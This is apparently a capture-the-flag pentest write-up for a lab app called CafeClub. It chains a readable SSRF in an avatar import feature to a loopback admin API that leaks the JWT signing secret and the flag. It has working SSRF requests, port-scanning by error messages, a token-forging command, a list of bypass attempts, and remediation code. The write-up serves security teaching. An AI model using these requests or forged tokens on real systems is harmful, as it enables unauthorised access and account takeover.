Cafe Club: Readable SSRF to Internal Admin API
Part 1: Pentest Report
Executive Summary
CafeClub is a React single-page application backed by an Express (Node.js) API with JWT authentication. The application exposes an avatar import feature that fetches an attacker-supplied URL server-side and saves the response body to a publicly retrievable path. This turns a server-side request forgery into a readable one: an authenticated user can read the content of internal HTTP responses, not just trigger blind requests.
Testing confirmed 2 findings:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Readable SSRF via avatar import | High | 7.7 | CWE-918 | POST /api/profile/avatar/import |
| F2 | Internal admin API trusts loopback origin, disclosing signing secret and flag | Critical | 9.6 | CWE-918, CWE-200 | (internal) GET /admin/config |
The flag-bearing finding is F2. The application runs a separate admin API
on the loopback interface that returns real JSON only to requests
originating from localhost. Chaining the readable SSRF (F1) to this admin
API let us read /admin/config, which disclosed the JWT signing secret
and the flag. Because the disclosed value is the HS256 signing key and the
application’s authorization is keyed on the user id carried in the token,
this secret enables forging a valid token for any user.
Objective
Identify and exploit the intended vulnerability in the CafeClub lab and recover the flag.
Scope / Initial Access
# Target Application
URL: lab-1780255910230-rsknu2.labs-app.bugforge.io # instance 2 (active)
lab-1780252449568-izcr56.labs-app.bugforge.io # instance 1 (expired)
# Auth details
# Self-service registration: POST /api/register, then POST /api/login.
# Session is a Bearer JWT (HS256) in the Authorization header.
# Sample decoded token: {"id":5,"username":"haxor","iat":1780252474}
The application issues an HS256 JWT on login. Authorization decisions are
driven by the id claim in the token; there is no role claim. All
application errors are returned as JSON ({"error":...} /
{"message":...}). Raw Bad Gateway or 404 page not found responses
come from the BugForge edge proxy or an expired instance, not the
application.
Reconnaissance: Mapping the SPA and Its Import Feature
The frontend is a Create React App build. The Express backend serves
index.html for any unknown non-/api path (SPA fallback), so endpoint
discovery had to filter on Content-Type and response body rather than HTTP
status; a 200 alone does not mean an endpoint exists.
Observations that shaped the test plan:
- Two avatar mechanisms exist.
POST /api/profile/avataraccepts a multipart image upload, whilePOST /api/profile/avatar/importaccepts a JSON body{"url":...}and fetches that URL server-side. The import variant is the novel feature and the SSRF candidate. - The import saves what it fetches to a retrievable path. The server
writes the fetched response body to
/uploads/avatars/<md5>.<ext>, with the extension derived from the fetched Content-Type, and the saved file is then served back over GET. This makes the SSRF readable. - Two server-side filters guard the import URL. A scheme allowlist
(http/https only) and a host allowlist (loopback only). The host
allowlist accepted the name
localhostand the address127.0.0.1, indicating the host is resolved and range-checked rather than string- matched. - Application errors distinguish three states. A successful fetch
saves the file; a host that is allowed but has no listener returns
Could not fetch image from URL; a host outside the allowlist returnsOnly internal image hosts are allowed. This 3-state response signal makes the import usable as a loopback port scanner.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Express (Node.js); SPA fallback serves index.html for unknown non-/api paths |
| Frontend | React (Create React App build: /static/js/main.4078ec20.js) |
| Auth | JWT HS256, Bearer token; authorization keyed on id claim, no role claim |
| Internal service | Separate admin API bound to the loopback interface on port 3000 |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
| /api/register | POST | No | Self-service registration |
| /api/login | POST | No | Returns HS256 JWT |
| /api/profile/avatar/import | POST | Yes | Fetches {"url":...} server-side, saves body (F1) |
| /api/profile/avatar | POST | Yes | Multipart image upload |
| /uploads/avatars/<md5>.<ext> | GET | No | Serves the saved import body (readback channel) |
| /admin | GET | (loopback only) | Admin API banner, lists sub-routes |
| /admin/config | GET | (loopback only) | Discloses jwt_secret and flag (F2) |
| /admin/health | GET | (loopback only) | Admin health endpoint |
Known Users
| Username | ID | Role |
|---|---|---|
| haxor (registered test account) | 5 | standard user |
Attack Chain Visualization
┌──────────────────┐ ┌──────────────────────┐ ┌─────────────────────┐ ┌──────────────────┐
│ Authenticated │ │ Import loopback URL │ │ Import /admin │ │ Import │
│ user (our JWT) │ ──▶ │ server fetches + │ ──▶ │ banner lists │ ──▶ │ /admin/config │
│ │ │ saves body (F1) │ │ /admin/config etc. │ │ jwt_secret+flag │
└──────────────────┘ └──────────────────────┘ └─────────────────────┘ └──────────────────┘
│ │
└─────────── GET /uploads/avatars/<md5> reads body ◀────┘
Findings
F1: Readable SSRF via Avatar Import
Severity: High
CVSS v3.1: 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
CWE: CWE-918 (Server-Side Request Forgery)
Endpoint: POST /api/profile/avatar/import
Authentication required: Yes
Description
The avatar import endpoint accepts a JSON body {"url":...} and fetches
that URL with a server-side HTTP client. The response body is written to
/uploads/avatars/<md5>.<ext>, where the extension is derived from the
fetched Content-Type, and the saved file is then served over GET. Two
filters are applied to the supplied URL: a scheme allowlist (http/https
only) and a host allowlist that permits only the loopback interface. The
host allowlist normalizes the host to a canonical IP before checking, so
encoding-based bypasses are rejected (see Failed Approaches). Because the
fetched body is persisted to a retrievable path, the request forgery is
readable rather than blind: the content of internal HTTP responses can be
read back, not merely triggered.
Impact
Cross-boundary read of internal HTTP content on the loopback interface, plus internal port scanning via the response signal.
Reproduction
Step 1: Import a loopback URL
POST /api/profile/avatar/import HTTP/1.1
Host: lab-1780255910230-rsknu2.labs-app.bugforge.io
Authorization: Bearer <our JWT>
Content-Type: application/json
{"url":"http://localhost:3000/"}
Response: 200, body references a saved avatar path under
/uploads/avatars/. The import succeeded against a loopback host.
Step 2: Read the saved body back
GET /uploads/avatars/<md5>.txt HTTP/1.1
Host: lab-1780255910230-rsknu2.labs-app.bugforge.io
Response: the application’s index.html. This confirms the fetched
response body is retrievable, making the SSRF readable.
Step 3: Distinguish host and port states
| Imported URL | Response | Meaning |
|---|---|---|
http://127.0.0.1:3000/ |
200, saved | open (listener present) |
http://127.0.0.1:9999/ |
Could not fetch image from URL |
host allowed, port closed |
http://169.254.169.254/ |
Only internal image hosts are allowed |
host blocked |
The three distinct responses let the import act as a loopback port
scanner. A full scan of ports 1-65535 on 127.0.0.1 found only port 3000
open.
Remediation
Fix 1: Validate the resolved address and re-check after resolution
// BEFORE (Vulnerable)
// Host allowlist permits any name/address that resolves to loopback;
// fetched body is saved to a publicly served path.
const url = new URL(req.body.url);
if (!isLoopback(url.hostname)) return res.status(400).json({error:"Only internal image hosts are allowed"});
const data = await httpFetch(url);
saveAvatar(data); // served back over GET
// AFTER (Secure)
// Disallow internal/loopback/link-local ranges entirely for a user-facing
// import feature; pin the connection to the resolved address to prevent
// rebinding; never serve the fetched body from a user-controlled path.
const url = new URL(req.body.url);
const addr = await resolveAndPin(url.hostname); // single resolution, reused for connect
if (isPrivateOrLoopbackOrLinkLocal(addr)) {
return res.status(400).json({error:"URL not permitted"});
}
const data = await httpFetchPinned(url, addr, { maxBytes: 1_000_000 });
if (!isImageContentType(data.contentType)) return res.status(400).json({error:"Not an image"});
saveAvatarToOpaqueStore(data); // not directly GET-able by raw path
Additional recommendations:
- An avatar import has no legitimate reason to reach loopback, private, or link-local ranges; deny them outright rather than allowing loopback.
- Validate the fetched Content-Type is an image before saving, and cap the response size.
- Do not serve fetched content from a predictable, user-reachable path.
F2: Internal Admin API Trusts Loopback Origin, Disclosing Signing Secret and Flag
Severity: Critical
CVSS v3.1: 9.6 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
CWE: CWE-918 (Server-Side Request Forgery), CWE-200 (Exposure of Sensitive Information)
Endpoint: (internal) GET /admin/config on 127.0.0.1:3000
Authentication required: Yes (application JWT for the import; admin API itself has no auth)
Description
The application runs an admin API on the loopback interface that grants
access based on the request originating from localhost. Requested directly
from the browser, /admin and its sub-routes return the SPA shell;
requested server-side through the avatar import (F1), they return real
JSON. The admin root returns a banner that enumerates its own sub-routes,
and /admin/config returns the application’s configuration, including the
JWT signing secret and the flag. The defect is that loopback origin is
treated as sufficient authorization, while a readable SSRF lets an
external attacker originate loopback requests and read the responses.
Impact
Disclosure of the flag and the HS256 signing secret; the disclosed secret allows forging a valid token for any user.
Reproduction
Step 1: Import the admin root to read its banner
POST /api/profile/avatar/import HTTP/1.1
Host: lab-1780255910230-rsknu2.labs-app.bugforge.io
Authorization: Bearer <our JWT>
Content-Type: application/json
{"url":"http://127.0.0.1:3000/admin"}
Read back the saved file:
{"service":"cafeclub-admin-api","endpoints":["/admin/config","/admin/health"]}
The banner self-discloses the sub-routes; no path guessing required.
Step 2: Import /admin/config
POST /api/profile/avatar/import HTTP/1.1
Host: lab-1780255910230-rsknu2.labs-app.bugforge.io
Authorization: Bearer <our JWT>
Content-Type: application/json
{"url":"http://127.0.0.1:3000/admin/config"}
Read back the saved file:
{"environment":"production",
"jwt_secret":"fourthFifth109CheeseKeyLeaf",
"flag":"bug{QUDejAxLRBOsFm9NZMm4bqbD1CVAJ9oe}"}
The configuration discloses the JWT signing secret and the flag.
Step 3 (impact demonstration): Forge a token for an arbitrary user
With the signing secret known and authorization keyed on the token’s id
claim, a token for any user id can be minted:
jwtforge -p '{"id":1,"username":"admin"}' -s fourthFifth109CheeseKeyLeaf -a HS256
Remediation
Fix 1: Authenticate the admin API on its own merits
// BEFORE (Vulnerable)
// Admin API authorizes any request whose origin is loopback.
app.get('/admin/config', (req, res) => {
res.json({ environment, jwt_secret, flag });
});
// AFTER (Secure)
// Require an explicit admin credential; do not treat network origin as authorization.
app.get('/admin/config', requireAdminToken, (req, res) => {
res.json(redactSecrets(adminConfig)); // never return signing keys over any API
});
Additional recommendations:
- Network origin (localhost, internal IP) is not an authentication mechanism; require an explicit credential on the admin API.
- Do not return signing secrets through any API response, including internal ones.
- Rotate the disclosed
jwt_secret; any token signed with it is compromised.
OWASP Top 10 Coverage
- A10:2021 Server-Side Request Forgery (SSRF): The avatar import fetches an attacker-supplied URL server-side and persists the response body to a retrievable path, providing a readable SSRF against the loopback interface.
- A01:2021 Broken Access Control: The admin API treats loopback origin as sufficient authorization, which the SSRF satisfies on the attacker’s behalf.
- A07:2021 Identification and Authentication Failures: Authorization is keyed on the user id in the JWT with no role claim, so disclosure of the signing secret permits forging a token for any user.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | Request capture, repeat, and import-then-readback workflow |
| jwtforge | Demonstrate token forgery with the disclosed signing secret |
References
- CWE-918: Server-Side Request Forgery: https://cwe.mitre.org/data/definitions/918.html
- CWE-200: Exposure of Sensitive Information: https://cwe.mitre.org/data/definitions/200.html
- OWASP Top 10 A10:2021 SSRF: https://owasp.org/Top10/A102021-Server-Side_Request_Forgery%28SSRF%29/
Part 2: Notes / Knowledge
Key Learnings
-
A “fetch from URL” feature that saves the response body to a retrievable path is a readable SSRF, not a blind one. When an import feature persists what it fetched to a location you can GET back, you read the internal response directly instead of inferring it from timing or error differences. Treat any URL-import that yields a stored, fetchable artifact (avatar, image, document preview) as a read capability against the loopback interface, then point it at internal services and read the responses out of the saved file.
-
A localhost-gated admin API is reachable through any loopback SSRF, and its own banner frequently hands you the sub-routes. Internal services that trust requests from localhost lean on the network boundary for authorization; a readable SSRF erases that boundary. Hit the service root first; admin and internal APIs often return a banner that enumerates their own endpoints, so you read the routes instead of guessing them.
-
When every IP-encoding variant is rejected, the productive moves are DNS rebinding and internal-route fuzzing of the already-allowed host, not more encodings. Decimal, hex, IPv6-mapped, and userinfo forms were all rejected here because the allowlist normalizes to a canonical address before checking. Once that is the case, additional encodings are spent; the remaining bypass surface is name-based (a rebinding domain, if a hostname was accepted) or the routes reachable on the host the allowlist already permits.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
Direct metadata SSRF (169.254.169.254) |
Only internal image hosts are allowed |
Host outside the loopback allowlist |
| Decimal / hex / IPv6-mapped / userinfo encodings of the metadata IP | All rejected | Allowlist normalizes to canonical address before checking |
file://, gopher://, dict:// schemes |
Only http(s) URLs are allowed |
Scheme allowlist |
| Command injection via the import URL | No shell error on ', ../ normalized away |
Native HTTP client, no shell sink |
| Full loopback port scan (1-65535) | Only port 3000 open | No other internal listener |
/uploads/avatars/ directory listing |
SPA index returned | Express SPA catchall, no autoindex |
| JWT alg=none / alg-confusion / weak-secret | Not exploited | Mooted once /admin/config disclosed the signing secret directly |
Tags: #ssrf #readable-ssrf #access-control #jwt #bugforge #webapp
Document Version: 1.0
Last Updated: 2026-06-03